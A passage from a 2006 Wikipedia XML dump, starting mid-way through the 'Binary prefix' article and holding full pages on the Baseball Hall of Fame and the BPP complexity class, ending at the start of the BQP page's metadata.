The second edition defined them only up to exbi-, but in [[2005]], the third edition of the standard added prefixes ''zebi-'' and ''yobi-'', thus matching all standard SI prefixes with their binary counterparts.

[[As of 2005]] this naming convention has not gained widespread use, but its use is growing. It is strongly supported by many standardization bodies, including [[IEEE]] and [[CIPM]]. In particular on March 19, 2005 the IEEE standard [[IEEE 1541]]-2002 (Prefixes for Binary Multiples) has been elevated to a full-use standard by the IEEE Standards Association after a two-year trial period.

{| border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; align=&quot;center&quot;
|- bgcolor=#ccccff
! &amp;nbsp;Name&amp;nbsp; !! &amp;nbsp;Symbol&amp;nbsp; !! Value
|-
| &amp;nbsp; kibi || &amp;nbsp; &amp;nbsp; &amp;nbsp; Ki || &amp;nbsp;2&lt;sup&gt;10&lt;/sup&gt;&amp;nbsp;=&amp;nbsp;1,024
|- bgcolor=#ffff99
| &amp;nbsp; mebi || &amp;nbsp; &amp;nbsp; &amp;nbsp; Mi || &amp;nbsp;2&lt;sup&gt;20&lt;/sup&gt;&amp;nbsp;=&amp;nbsp;1,048,576
|-
| &amp;nbsp; gibi || &amp;nbsp; &amp;nbsp; &amp;nbsp; Gi || &amp;nbsp;2&lt;sup&gt;30&lt;/sup&gt;&amp;nbsp;=&amp;nbsp;1,073,741,824
|- bgcolor=#ffff99
| &amp;nbsp; tebi || &amp;nbsp; &amp;nbsp; &amp;nbsp; Ti || &amp;nbsp;2&lt;sup&gt;40&lt;/sup&gt;&amp;nbsp;=&amp;nbsp;1,099,511,627,776
|-
| &amp;nbsp; pebi || &amp;nbsp; &amp;nbsp; &amp;nbsp; Pi || &amp;nbsp;2&lt;sup&gt;50&lt;/sup&gt;&amp;nbsp;=&amp;nbsp;1,125,899,906,842,624
|- bgcolor=#ffff99
| &amp;nbsp; exbi || &amp;nbsp; &amp;nbsp; &amp;nbsp; Ei || &amp;nbsp;2&lt;sup&gt;60&lt;/sup&gt;&amp;nbsp;=&amp;nbsp;1,152,921,504,606,846,976
|-
| &amp;nbsp; zebi || &amp;nbsp; &amp;nbsp; &amp;nbsp; Zi || &amp;nbsp;2&lt;sup&gt;70&lt;/sup&gt;&amp;nbsp;=&amp;nbsp;1,180,591,620,717,411,303,424
|- bgcolor=#ffff99
| &amp;nbsp; yobi || &amp;nbsp; &amp;nbsp; &amp;nbsp; Yi || &amp;nbsp;2&lt;sup&gt;80&lt;/sup&gt;&amp;nbsp;=&amp;nbsp;1,208,925,819,614,629,174,706,176&amp;nbsp;
|}

''Example :'' 300 GB = 279.5 GiB (= [[hexadecimal|0x]]117.6592E GiB  = 0x45D96.4B8 MiB = 0x1176592E KiB = 0x45D964B800 bytes).

== Usage notes ==
The phrase &quot;decimal unit&quot; will be used to denote &quot;SI designation understood in its standard, decimal, power-of-1000 sense&quot; and &quot;binary unit&quot; will mean &quot;SI designation understood in its traditional computer-industry, binary, power-of-1024 sense.&quot; '''B''' will be used as the symbol for byte as per computer-industry standard (despite '''B''' being the symbol for [[decibel|bel]]).

Certain units are always understood as decimal even in computing contexts. For example, [[hertz]] (Hz), which is used to measure '''[[clock rate]]s''' of electronic components, and bit/s, used to measure '''[[bit rate]]'''. So a 1 GHz processor performs 1,000,000,000 clock ticks per second, a 128 kbit/s&lt;!--- Truly kbit for kilobit, no Kbit please ---&gt; [[MP3]] stream consumes 128,000 bits (15.625 KiB) per second, and a 1&amp;nbsp;Mbit/s Internet connection can transfer 1,000,000 bits (approx. 122 KiB) per second (assuming an 8-bit byte, and no overhead).

Measurements of most types of electronic '''memory''' such as [[Random Access Memory|RAM]] and [[Read-only memory|ROM]] and [[Flash memory|Flash]] (large scale disk-like flash is sometimes an exception) are given in binary units because they are made in power-of-two sizes as this means that all combinations of their address lines map to a valid address allowing easy aggregation into a larger contiguous block of memory. 

'''Hard disk drive''' manufacturers state capacity in decimal units. Since most computer operating systems report drive usage and capacity in binary units, the difference causes an apparent loss between the advertised capacity and the formatted, usable capacity. This usage has a long engineering tradition, predating consumer complaints about the apparent discrepancy, which began to surface in the mid-1990s. The decimal-based capacity in hard disk drives follows the method used for serially accessed storage media which predated direct access storage media like hard disk drives. Paper punch cards could only be used in a serial fashion, like the magnetic tapes that followed. When a stream of data is stored, it's more logical to indicate how many thousands, millions, or billions of bytes have been stored versus how many multiples of 1024, 1,048,576, or 1,073,741,824 bytes have been. When the first hard disk drives were being developed, the decimal measurement was only natural since the hard disk drive served essentially the same function as punch cards and tapes. Thus, today, any device that is addressed or seen as &quot;storage&quot; uses the decimal system to identify capacity. 

Disk media are accessed by the sector, not the individual byte. Sectors are intended for direct transfer to RAM, which comes in powers of two, so sector size itself is almost always a power of two (some early [[1960s]] sectors measured 100 bytes [http://members.iinet.net.au/~daveb/Sys-10.html]). Common sector sizes range from 512 bytes (e.g. on floppy disks) to 2048 bytes ([[DVD]]s). Because of this, a very confusing hybrid system is sometimes used, in which a &quot;megabyte&quot; means a thousand 1024-byte &quot;kilobytes&quot;. Thus, [[as of 2005]], manufacturers universally use the designation &quot;1.44 MB [[floppy disk|diskette]]&quot; for a product which holds neither 1.44&amp;times;2&lt;sup&gt;20&lt;/sup&gt; bytes nor 1.44&amp;times;10&lt;sup&gt;6&lt;/sup&gt; bytes, but rather 1.44&amp;times;1000&amp;times;1024 bytes (approximately 1.406 MiB, or 1.475 MB). Some &lt;!--most?--&gt;manufacturers of disk-like flash memory seem to have adopted the somewhat dubious practice of selling drives measured in power of two multiples of decimal megabytes!

Modern-day PC users, of course, regard both RAM and disk as kinds of storage and expect their capacities to be measured in the same way. [[Operating system]]s usually report disk space using the binary version. To the purchaser of a &quot;30 GB&quot; hard drive, rather than reporting either &quot;30 GB&quot; or &quot;28 GiB&quot;, Microsoft Windows reports &quot;28 GB&quot;. This creates hard feelings that have even led to [[#legal disputes|legal disputes]], sometimes made worse by other technical issues such as failure to distinguish between unformatted and formatted capacities and to account for the overhead inherent in disk file systems.

'''[[compact disc|CD]]''' capacities are always given in binary units. A &quot;700 MB&quot; (or &quot;80 minute&quot;) CD has a nominal capacity of about 700 [[MiB]]. But '''[[DVD]]''' capacities are given in decimal units. A &quot;4.7 GB&quot; DVD has a nominal capacity of about 4.38 [[GiB]].

'''[[Computer bus|Bus]]''' bandwidth is given in decimal units. This is not because hard drive capacities use the decimal versions, nor because bit rates do, but because clock speeds do. For example, &quot;[[DDR SDRAM|PC3200]]&quot; memory runs on a [[Double data rate|double pumped]] 200 MHz bus, transferring 8 bytes per cycle, and hence has a bandwidth of 200,000,000&amp;times;2&amp;times;8 = 3,200,000,000 byte/s.

=== Pronunciation ===
It is suggested that in English, the first syllable of the name of the binary-multiple prefix should be pronounced in the same way as the first syllable of the name of the corresponding SI prefix, and that the second syllable should be pronounced as &amp;quot;bee.&amp;quot; {{ref|2}}

== Legal disputes ==
As a result of the confusion over decimal and binary capacity measures, there have been several lawsuits against companies who sell hard drives, Flash memory devices, and computer systems that list the drive capacity.  As consumers become less and less technical, the technical definitions of binary and decimal multiples have become meaningless and only the number reported by the operating system holds sway.

At least 2 significant lawsuits have been filed:

* On February 20, 2004, [http://www.hoovers.com/free/co/secdoc.xhtml?ID=100020&amp;ipage=2779727&amp;doc=1&amp;num=45 Willem Vroegh filed a lawsuit] against Lexar Media, Dane–Elec Memory, [[Fujifilm|Fuji Photo Film USA]], [[Eastman Kodak]] Company, Kingston Technology Company, Inc., [[Memorex]] Products, Inc.; [[PNY Technologies]] Inc., [[SanDisk|SanDisk Corporation]], [[Verbatim Corporation]], and Viking InterWorks alleging that their descriptions of the capacity of their [[flash memory]] cards were false and misleading.
*:As of early 2005, at least one of these companies has settled out of court.
* In September of 2003, [http://news.zdnet.com/2100-9584_22-5078961.html Lanchau Dan, Adam Selkowitz, Tim Swan and John Zahabian filed a lawsuit] against [[Dell, Inc.]], [[Apple Computer]] Inc., [[Gateway, Inc.]], [[Hewlett-Packard]] Co., [[IBM]] Corp., [[Sharp Corporation]], [[Sony]] Corp. and [[Toshiba]] Corp claiming their advertising deceptively exaggerates the real capacity of their hard drives.

== References ==
*{{note|1}} Amendment 2 to IEC International Standard [[IEC 60027]]-2: Letter symbols to be used in electrical technology — Part 2: Telecommunications and electronics [http://physics.nist.gov/cuu/Units/binary.html]

*{{note|2}} The NIST Reference on Constants, Units and Uncertainty. ''Prefixes for Binary Multiples'' [http://physics.nist.gov/cuu/Units/binary.html]

== See also ==
* [[Integral data type]]
* [[Bit]]
* [[Nibble]]
* [[Byte]]
* [[Octet (computing)|Octet]]
* [[IEC 60027-2]]
* [[IEEE 1541]]
* [[SI prefix]]

=== Specific units of IEC 60027-2 A.2 ===
&lt;table align=&quot;center&quot; border=&quot;0&quot;&gt;&lt;tr&gt;&lt;td&gt;
{{Bit rates}}
&lt;/td&gt;&lt;td width=&quot;70&quot;&gt; &amp;nbsp; &lt;/td&gt;&lt;td width=&quot;10&quot; rowspan=&quot;3&quot;&gt; &amp;nbsp; &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;
{{Quantities of bytes}}
&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;
{{Quantities of bits}}&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

== External links ==
* [http://www.cl.cam.ac.uk/~mgk25/information-units.txt What is a Megabyte ...? Markus Kuhn's 1996–1999 paper on bits, bytes, prefixes and symbols]
* [http://physics.nist.gov/cuu/Units/binary.html Prefixes for binary multiples] — [[NIST]]
* [http://www.nist.gov/public_affairs/techbeat/tb9903.htm#Information%20Technology Get Ready for the mebi, gibi and tebi] — [[NIST]]
* [http://www.iec.ch/zone/si/si_bytes.htm Description of binary prefixes] — [[IEC]]
* [http://www.quinion.com/words/turnsofphrase/tp-kib1.htm Another description of binary prefixes]
* [http://www.wiebetech.com/pressreleases/BillionEqualBillion.pdf White-paper on the controversy over drive capacities]
* [http://homepages.tesco.net/~J.deBoynePollard/FGA/1mb44-is-not-a-standard-floppy-disc-size.html There is no such thing as a 1.44 MB standard format floppy disc]
* [http://members.optus.net/alexey/prefBin.xhtml A summary of the organizations, software, and so on that have implemented the new binary prefixes]
* [http://www.xciv.org/~meta/2005/02/25/#2005-02-23-units A plea for sanity]
* [http://www.lyberty.com/encyc/articles/kb_kilobytes.html KiloBytes vs. kilobits vs. Kibibytes (Binary prefixes)]
* [http://www.iec.ch/news_centre/release/nr2005/nr2005.htm Here Come Zebi- and Yobi-] IEC press release announcing new prefixes

[[Category:Measurement]]
[[Category:Naming conventions]]
[[Category:Prefixes]]
[[Category:Units of information]]

[[bg:Двоична представка]]
[[cs:Binární předpona]]
[[da:Binært præfiks]]
[[de:Binärpräfixe]]
[[es:Prefijo binario]]
[[fr:Préfixe binaire]]
[[hu:Bináris prefixum]]
[[it:Prefissi per multipli binari]]
[[ja:2進接頭辞]]
[[nl:Veelvouden van bytes]]
[[no:Binærprefiks]]
[[pl:Przedrostek dwójkowy]]
[[pt:Prefixo binário]]
[[ro:Prefixe binare]]
[[ru:Двоичные приставки]]
[[sk:Binárny prefix]]</text>
    </revision>
  </page>
  <page>
    <title>Baseball Hall of Fame</title>
    <id>4078</id>
    <revision>
      <id>41508589</id>
      <timestamp>2006-02-27T21:07:37Z</timestamp>
      <contributor>
        <username>MisfitToys</username>
        <id>58947</id>
      </contributor>
      <minor />
      <comment>/* First floor */</comment>
      <text xml:space="preserve">[[Image:NB HOF logo.gif|right|National Baseball Hall of Fame Logo]]

The '''National Baseball Hall of Fame and Museum''', located at 25 Main Street in [[Cooperstown, New York]], [[United States]], is a semi-official [[museum]] operated by private interests that serves as the central point for the study of the history of [[baseball]] in the [[United States]] and beyond, the display of baseball-related artifacts and exhibits, and the honoring of persons who have excelled in playing, managing, and serving the sport. In articles and discussions on baseball, the phrase &quot;Hall of Fame&quot; refers most often to the list of these honorees, rather than the physical museum. The Hall's motto is &quot;Preserving History, Honoring Excellence, Connecting Generations&quot;.

*[[List of members of the Baseball Hall of Fame (alphabetical)|Members of the Hall of Fame (alphabetical listing)]]
*[[List of members of the Baseball Hall of Fame (chronological)|Members of the Hall of Fame (by year of election)]]

==History==
[[Image:Baseball_Hof.jpg|thumb|right|The Entrance to the Baseball Hall of Fame]]
The Hall of Fame was dedicated on [[June 12]], [[1939]] by the [[Clark Foundation]], a private organization based in Cooperstown that traces its money to the original [[Singer Corporation|Singer Sewing Machine Company]].  The Foundation sought to bring tourists to Cooperstown, which had been doubly damaged by the [[Great Depression]], which decimated the local tourist trade, and [[Prohibition]], which was devastating to the local [[hops]] industry.  A legend that [[U.S. Civil War]] hero [[Abner Doubleday]] invented baseball in Cooperstown was instrumental in the early marketing of the Hall, though in fact the story is completely false. 

The [[Major League Baseball|major leagues]], seeing the marketing opportunity, soon began cooperating with the Hall of Fame in marketing it and acquiring artifacts for display there.

Recent developments in the museum include an $8 million library and research facility that opened in 1994. More renovations were done in 2003 through spring 2005.

In 2002, ''Baseball As America'' was launched, a traveling exhibit that toured ten American museums over six years. The Hall of Fame has also sponsored educational programming on the Internet to bring the Hall of Fame to schoolchildren who might not see it. In January 2006, the Hall of Fame also announced a partnership with [[Citgo]] to launch a traveling exhibit about Latin America's contributions to baseball.

The town of Cooperstown also includes [[Doubleday Field]], where the &quot;Hall of Fame Game&quot; featuring two major league teams is held every year. In the past, the game was held during induction weekend, but in recent years it has been scheduled in May or June, when it is easier on a team's travel schedule. The [[Pittsburgh Pirates]] and [[Cincinnati Reds]] are slated for 2006.

==Inductees==
Among baseball fans, &quot;Hall of Fame&quot; means not only the museum and facility in Cooperstown, but more likely the pantheon of players, [[manager (baseball)|managers]], [[umpire (baseball)|umpires]] and builders who have been named to enshrinement there. The first five men elected were superstars [[Ty Cobb]], [[Babe Ruth]], [[Honus Wagner]], [[Christy Mathewson]] and [[Walter Johnson]], named in 1936. As of February 2006, 278 individuals had been elected or appointed to the Hall of Fame, including 225 players, 17 managers (many of whom also played), 8 umpires, and 28 builders, executives, and organizers. 30 men have also been awarded the [[Ford C. Frick Award]] for excellence in broadcasting, while 57 have received the [[J.G. Taylor Spink Award]] for excellence in baseball writing.
[[Image:Plaque first.jpg|thumb|left|Plaques of the First Class of Inductees]]
Players are currently inducted into the Hall of Fame through election by either the [[Baseball Writers Association of America]] (or BBWAA), or the [[Veterans Committee]], which is now composed of living Hall of Famers and recipients of the two major awards. Five years after retirement, any player with 10 years of major league experience, who passes a screening committee (which removes from consideration players of clearly lesser qualification) is eligible to be elected by BBWAA members with 10 years' membership or more.  From a final ballot typically including 25-40 candidates, each writer may vote for up to 10 players; until the late 1950s, voters were advised to cast votes for the maximum 10 candidates. Any player named on 75% or more of all ballots cast is elected. A player who is named on fewer than 5% of ballots is dropped from future elections. In some instances, the screening committee had restored their names to later ballots, but in the mid-1990s, dropped players were made permanently ineligible for Hall of Fame consideration, even by the Veterans Committee. A 2001 change in the election procedures restored the eligibility of these dropped players; while their names will not appear on future BBWAA ballots, they may be considered by the Veterans Committee.

Under special circumstances, certain players may be deemed eligible for induction even though they have not met all requirements.  This has resulted in only two inductions, when [[Lou Gehrig]] was specially elected shortly after his retirement in [[1939 in baseball|1939]], and when [[Addie Joss]] was elected in [[1978 in baseball|1978]] despite only playing in nine seasons.  Additionally, if an otherwise eligible player dies before their fifth year of retirement, then that player may be placed on the ballot at the first election at least six months after their death. [[Roberto Clemente]], who died in a plane crash in [[1972]], is the only current Hall of Fame member for whom the 5-year minimum was waived.

If a player fails to be elected by the BBWAA within 20 years of their retirement from active play, he may be selected by the Veterans Committee, which now votes every two years. The Veterans Committee also votes every fourth year on candidates from among managers, umpires, executives or builders. [[Negro League baseball|Negro Leagues]] players have also been considered at various times, beginning in 1971. In 2005 the Hall completed a study on African American players between the late 19th century and the integration of the major leagues in 1947, and conducted a special election for such players in February 2006; seventeen figures from the Negro Leagues were chosen in that election, in addition to the eighteen previously selected.

Predictably, the selection process catalyzes endless debate among baseball fans over the merits of various candidates. Even players already elected remain for years the subjects of discussions as to whether their elections were deserved or in error.

==The Museum==
According to the Hall of Fame, approximately 350,000 visitors enter the museum each year, and the running total has surpassed 13 million. These visitors see only a fraction of its 35,000 artifacts, 2.6 million library items (such as newspaper clippings and photos) and 130,000 baseball cards. A quick rundown of what there is to see at the museum follows.

===First floor===
*'''Baseball at the Movies''' houses baseball movie memorabilia while a screen shows footage from those movies.
*The '''[[Bullpen]] Theater''' is the site of daily programming at the museum (trivia games, book discussions, etc.) and is decorated with pictures of famous [[relief pitchers]].
*'''Induction Row''' contains artifacts pertinent to the [[Baseball Hall of Fame balloting, 2006|most recent inductees]] and photos of past Hall of Fame Weekends.
*The '''Perez-Steele Art Gallery''' features art of all media related to baseball.
*The '''Plaque Gallery''', the most recognizable site at the museum, contains induction plaques of all members.
* The '''Sandlot Kids Clubhouse''' has various interactive displays for young children.
*'''Scribes and Mikemen''' honors Spink and Frick winners with a headshot display and has artifacts related to baseball writing and broadcasting.

===Second floor===
*The '''Grandstand Theater''' features a brief video capturing the essence of baseball that runs on a loop. The theater, complete with replica stadium seats, is decorated to resemble [[Comiskey Park]].
*'''The Game''' is the major feature of the second floor. It is where the most artifacts are displayed. The Game is set up in a timeline format, starting with baseball's beginnings and culminating with the game we know today. There are several offshoots of this meandering timeline:
**The '''[[Babe Ruth]] Room'''
** The '''[[Hank Aaron]] Room''' (also details the [[500 home run club]].)
**'''Pride and Passion''' ([[Negro Leagues]] exhibit)
**'''Taking The Field''' (19th century baseball)
**'''Women in Baseball'''
*The '''Today's Game''' exhibit is built like a baseball clubhouse, with 30 glass-enclosed locker stalls, one for each Major League franchise. In each stall there is a jersey and other items from the designated big league team, along with a brief team history. A center display case holds objects donated to the Hall of Fame from the past year or two. Outside the exhibit are various display cases devoted to youth baseball, American presidents and baseball, baseball cards and a ball from every [[no-hitter]] since 1940.

===Third floor===
*'''Autumn Glory''' is devoted to post-season baseball and has replicas of [[World Series]] rings and press passes.
*An '''Education Gallery''' hosts school groups. In the gallery foyer is a tape of the popular [[Abbott and Costello]] routine &quot;[[Who's on First?]]&quot; and a display case with rotating exhibits.
*The '''Records Room''' has charts showing active and all-time leaders in various baseball statistical categories. Award winners are listed as well.
*'''Sacred Ground''' is the newest museum section, opened after the 2003-05 renovation. It is devoted entirely to ballparks and everything about them: the fan experience, the business of a ballpark, a computer tour of Boston's old [[South End Grounds]], and more.

==Controversies==
The most lasting controversy in Hall of Fame elections is the role and composition of the Veterans Committee. While few of the BBWAA selections have been particularly controversial, prior to its recent restructuring the Veterans Committee had, at times, seemed to pass over the most worthy players in order to enshrine contemporaries and teammates of the committee members. This tendency was most pronounced during the tenure of [[Frankie Frisch]] and [[Bill Terry]], from 1967 to 1976. During this time, 8 players were elected whose Hall of Fame credentials were (at best) tenuous, but who had played with Frisch or Terry with the [[San Francisco Giants|New York Giants]] or [[St Louis Cardinals]].

The revamped Veterans Committee has held two elections to date&amp;mdash;in 2003 for both players and non-players, and 2005 for players only. No individual was elected either time; some observers are already starting to doubt whether the new Veterans Committee will ever elect a player, or whether the Committee members &amp;ndash; most of whom are Hall members &amp;ndash; are reluctant to elect new candidates, in the hope of heightening the value of their own selection [http://sports.yahoo.com/mlb/news;_ylc=X3oDMTBpNWZic251BF9TAzI1NjY0ODI1BHNlYwN0aA--?slug=ap-halloffame&amp;prov=ap&amp;type=lgns].

A further controversy erupted in 1982, when it emerged that some historic items bequeathed to the Hall had been sold on the collectibles market. It subsequently transpired that these had been lent to the [[Baseball Commissioner]]'s Office, from where they had been taken and sold to offset personal financial problems by [[Joe Reichler]], an assistant to Commissioner [[Bowie Kuhn]], possibly without verifying their ownership. Under pressure from the New York Attorney General, the Commissioner's Office made reparations, but damage had been done to the Hall of Fame's reputation.

An ongoing controversy facing the Hall of Fame is that of the status of [[Shoeless Joe Jackson|Joe Jackson]] and [[Pete Rose]]. Jackson and Rose were both banned from baseball for life for actions related to gambling on their own teams - Jackson was determined to have cooperated with those who conspired to lose the [[1919 World Series]] on purpose, and Rose voluntarily accepted a permanent spot on the ineligible list in return for [[Major League Baseball|MLB]]'s promise to make no official finding in relation to alleged betting on the [[Cincinnati Reds]] when he was their manager in the 1980s. (Baseball's Rule 21, prominently posted in every clubhouse lockerroom, mandates permanent banishment from the sport for having a gambling interest of any sort on a game in which a player or manager is directly involved.) While Jackson and Rose had outstanding playing careers that would usually merit Hall of Fame induction, the Hall of Fame disallows election of anyone on the permanent suspension list. (Many others have been permanently suspended, but none have Hall of Fame qualifications on the level of Jackson or Rose. A select few, such as [[Hal Chase]] and [[Eddie Cicotte]], would be reasonable candidates had they not been barred.) Baseball fans are deeply split on the issue of whether these two should be exonerated, remain banned, or (in the case of Rose, who is still living) be inducted with the caveat that he cannot reenter the game in any other way.

A less minor controversy among rabid seamheads is that of the &quot;other&quot; honorees on Hall of Fame Weekend: the winners of the Frick and Spink awards and their status in the Hall of Fame. Some consider them winners of an award sponsored by the Hall of Fame, while others think they can be called Hall of Fame members (even though they do not have a plaque in the gallery.)

The Hall has also recently changed its stance regarding &quot;team membership.&quot; Although all the teams a player played for are included in the text of the plaque, they are pictured wearing a cap of one team. Before free agency, this was not controversial, since many players played their entire career with one team. As free agents began to be inducted, it was the player's choice as to which cap they wanted to wear. However, in light of rumors that teams were offering number retirement, money or organizational jobs in exchange for the cap designation ([[Dave Winfield]] was widely rumored to have cut such a deal in 2001 with the [[San Diego Padres]]), the Hall decided that, though the decision-making process would be a mutual responsibility, they would have the final say in such matters. [[Gary Carter]] was the first to test this policy. He won his only championship with the [[New York Mets]], and wanted to be inducted &quot;as a Met&quot; (in quotes because this expression only denotes cap choice; the Hall of Fame does not officially induct players as a member of one team or another). The Hall of Fame felt he should have been inducted as a member of the [[Montreal Expos]], and that was the cap on his plaque. [[Wade Boggs]] was in a similar situation; he won his only championship as a member of the 1996 [[New York Yankees]], but posted his best career numbers in twice as much time while wearing the [[Boston Red Sox]] uniform, despite having acrimonious feelings towards Sox management. He went in wearing the &quot;B&quot; on his cap. [[Catfish Hunter]], though harboring no ill will towards either of his employers, the [[Oakland Athletics]] and [[New York Yankees]], could not decide which cap he preferred: he had nearly identical statistics and postseason success on both teams. He instead went in wearing a cap without a logo.

==External link==
*[http://www.baseballhalloffame.org/ Baseball Hall of Fame official website] 

{{Baseball Hall of Fame}}

[[Category:Baseball]]
[[Category:Baseball Hall of Fame|*]]
[[Category:Sports Halls of Fame]]

[[da:Baseball Hall of Fame]]
[[de:Baseball Hall of Fame]]
[[ja:野球殿堂]]
[[simple:Baseball Hall of Fame]]
[[zh:棒球名人堂]]</text>
    </revision>
  </page>
  <page>
    <title>BPP</title>
    <id>4079</id>
    <revision>
      <id>41810887</id>
      <timestamp>2006-03-01T22:23:27Z</timestamp>
      <contributor>
        <username>Keenan Pepper</username>
        <id>124371</id>
      </contributor>
      <minor />
      <comment>style=&quot;float: right&quot;</comment>
      <text xml:space="preserve">:''This article is about the complexity class. For the [[Black_nationalism|Black nationalist]] organization, see [[Black Panther Party]].''

In [[complexity theory in computation | complexity theory]], '''BPP''' is the class of [[decision problem|decision problems]] solvable by a [[probabilistic Turing machine]] in [[polynomial time]], with an error [[probability]] of at most 1/3 for all instances.  The abbreviation '''BPP''' refers to '''B'''ounded-error, '''P'''robabilistic, '''P'''olynomial time.

{| class=&quot;wikitable&quot; style=&quot;float: right&quot;
!colspan=&quot;3&quot;|BPP algorithm (1 run)
|-
|
|colspan=&quot;2&quot;|Answer produced
|-
| Correct&lt;br&gt;answer
| YES
| NO
|-
| YES
| &amp;ge;2/3
| &amp;le;1/3
|-
| NO
| &amp;le;1/3
| &amp;ge;2/3
|-
!colspan=&quot;3&quot;|BPP algorithm (''n'' runs)
|-
|
|colspan=&quot;2&quot;|Answer produced
|-
| Correct&lt;br&gt;answer
| YES
| NO
|-
| YES
| &gt; 1-''e''&lt;sup&gt;-''n''/18&lt;/sup&gt;
| &lt; ''e''&lt;sup&gt;-''n''/18&lt;/sup&gt;
|-
| NO
| &lt; ''e''&lt;sup&gt;-''n''/18&lt;/sup&gt;
| &gt; 1-''e''&lt;sup&gt;-''n''/18&lt;/sup&gt;
|}

If a problem is in '''BPP''', then there is an algorithm for it that is allowed to flip coins and make random decisions.  It is guaranteed to run in polynomial time.  On any given run of the algorithm, it has a probability of at most 1/3 of giving the wrong answer.  That is true, whether the answer is YES or NO.

The choice of 1/3 in the definition is arbitrary. It can be any [[mathematical constant|constant]] between 0 and 1/2 (exclusive) and the set '''BPP''' will be unchanged; however, this constant must be independent of the input. The idea is that there is a probability of error, but if the algorithm is run many times, the chance that the majority of the runs are wrong [[exponential decay|drops off exponentially]] as a consequence of the [[Chernoff bound]] [http://www.cs.sfu.ca/~kabanets/cmpt710/lec16.pdf]. This makes it possible to create a highly accurate algorithm by merely running the algorithm several times and taking a &quot;majority vote&quot; of the answers.

'''BPP''' is one of the largest ''practical'' classes of problems, meaning most problems of interest in BPP have efficient [[probabilistic algorithm]]s that can be run quickly on real modern machines, by the method described above. For this reason it is of great practical interest which problems and classes of problems are inside '''BPP'''.

== Relationship to other complexity classes ==

It is known that '''BPP''' is closed under complement; that is, '''BPP'''='''Co-BPP'''.  It is an open question whether '''BPP''' is a [[subset]] of '''[[NP (complexity)|NP]]'''.  It is also an open question whether '''NP''' is a subset of '''BPP'''; if it is, then '''NP'''='''RP''' and '''[[PH (complexity)|PH]]''' &lt;math&gt;\subseteq&lt;/math&gt; '''BPP'''([http://weblog.fortnow.com/2005/12/pulling-out-quantumness.html]) (many consider this unlikely, since it would imply practical solutions for a range of difficult [[NP-complete]] problems). It is known that '''[[RP (complexity)|RP]]''' is a subset of '''BPP''', and '''BPP''' is a subset of '''[[PP (complexity)|PP]]'''.  It is not known whether those two are strict subsets. '''BPP''' is contained in '''[[PH (complexity)|PH]]'''.

The existence of certain strong [[pseudorandom number generators]] is [[conjecture]]d by most experts of the field. This conjecture implies that randomness does not give additional computational power to polynomial time computation, that is, '''P'''='''RP'''='''BPP'''. Note that ordinary generators are not sufficient to show this result; any probabilistic algorithm implemented using a typical random number generator with a fixed seed will always produce incorrect results on certain inputs (though these inputs might be rare). We also have '''P''' = '''BPP''' if '''[[EXPTIME]]''' collapses to '''[[MA (complexity)|MA]]''' ([[#Babai_et_al|Babai et al.]]), if the exponential-time hierarchy collapses to '''E''' = DTIME(2&lt;sup&gt;O(n)&lt;/sup&gt;) ([[#Babai_et_al|Babai et al.]]), or if '''E''' has exponential [[circuit complexity]] ([[#Impagliazzo_and_Wigderson|Impagliazzo and Wigderson]]).
&lt;!--

An equivalent statement to the above is the following.  Consider this statement:

: There exists a language ''L'' in '''EXPTIME''' for which any family of circuits deciding ''L'' is of exponential size.

If this statement is true, then '''P'''='''NP'''.
If this statement is false, then '''P'''='''BPP'''.
--&gt;

== Other properties ==

For a long time, one of the most famous problems that was known to be in '''BPP''' but not known to be in '''P''' was the problem of determining whether a given number is a [[prime number|prime]]. However,
in the 2002 paper ''PRIMES is in P'', Manindra Agrawal and his students Neeraj Kayal and Nitin Saxena found a deterministic polynomial-time algorithm for this problem, thus showing that it is in '''P'''.

'''BPP''' is [[low (complexity)|low]] for itself, meaning that a '''BPP''' machine with the power to solve '''BPP''' problems instantly (a '''BPP''' [[oracle machine]]) is not any more powerful than the machine without this extra power.

This class is defined for an ordinary [[Turing machine]] plus a source of randomness.  The corresponding class for a [[quantum computer]] is '''[[BQP]]'''.

Membership in any language in '''BPP''' can be determined by a polynomial-size [[boolean circuit]] (see [[circuit complexity]]).

== External links ==

* [http://www.cs.princeton.edu/courses/archive/fall03/cs597E/ Princeton CS 597E: Derandomization paper list]
* [http://www.courses.fas.harvard.edu/~cs225/ Harvard CS 225: Pseudorandomness]

== References ==
*&lt;span id=&quot;Babai_et_al&quot;&gt;László Babai, Lance Fortnow, Noam Nisan, and Avi Wigderson (1993). &quot;BPP has subexponential time simulations unless [[EXPTIME]] has publishable proofs&quot;. ''Computational Complexity'', 3:307&amp;ndash;318.&lt;/span&gt;
*&lt;span id=&quot;Impagliazzo_and_Wigderson&quot;&gt;[[Russell Impagliazzo]] and Avi Wigderson (1997). &quot;P=BPP if E requires exponential circuits: Derandomizing the XOR Lemma&quot;. ''Proceedings of the Twenty-Ninth Annual ACM Symposium on Theory of Computing'', pp. 220&amp;ndash;229. {{doi|10.1145/258533.258590}}&lt;/span&gt;
*&lt;span id=&quot;Kabanets&quot;&gt;Valentine Kabanets (2003). &quot;CMPT 710 &amp;ndash; Complexity Theory: Lecture 16&quot;. [[Simon Fraser University]].&lt;/span&gt;
* {{cite book|author = [[Christos Papadimitriou]] | year = 1993 | title = Computational Complexity | publisher = Addison Wesley | edition = 1st edition | id = ISBN 0201530821}} Pages 257&amp;ndash;259 of section 11.3: Random Sources. Pages 269&amp;ndash;271 of section 11.4: Circuit complexity.
* {{cite book|author = [[Michael Sipser]] | year = 1997 | title = Introduction to the Theory of Computation | publisher = PWS Publishing | id = ISBN 0-534-94728-X}} Section 10.2.1: The class BPP, pp.336&amp;ndash;339.

{{ComplexityClasses}}
[[Category:Complexity classes]]

[[de:BPP (Komplexitätsklasse)]]
[[ko:BPP]]
[[he:BPP]]</text>
    </revision>
  </page>
  <page>
    <title>BQP</title>
    <id>4080</id>
    <revision>
      <id>38153845</id>
      <timestamp>2006-02-04T15:33:26Z</timestamp>
      <contributor>
        <username>Chobot</username>
        <id>259798</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ko</comment>
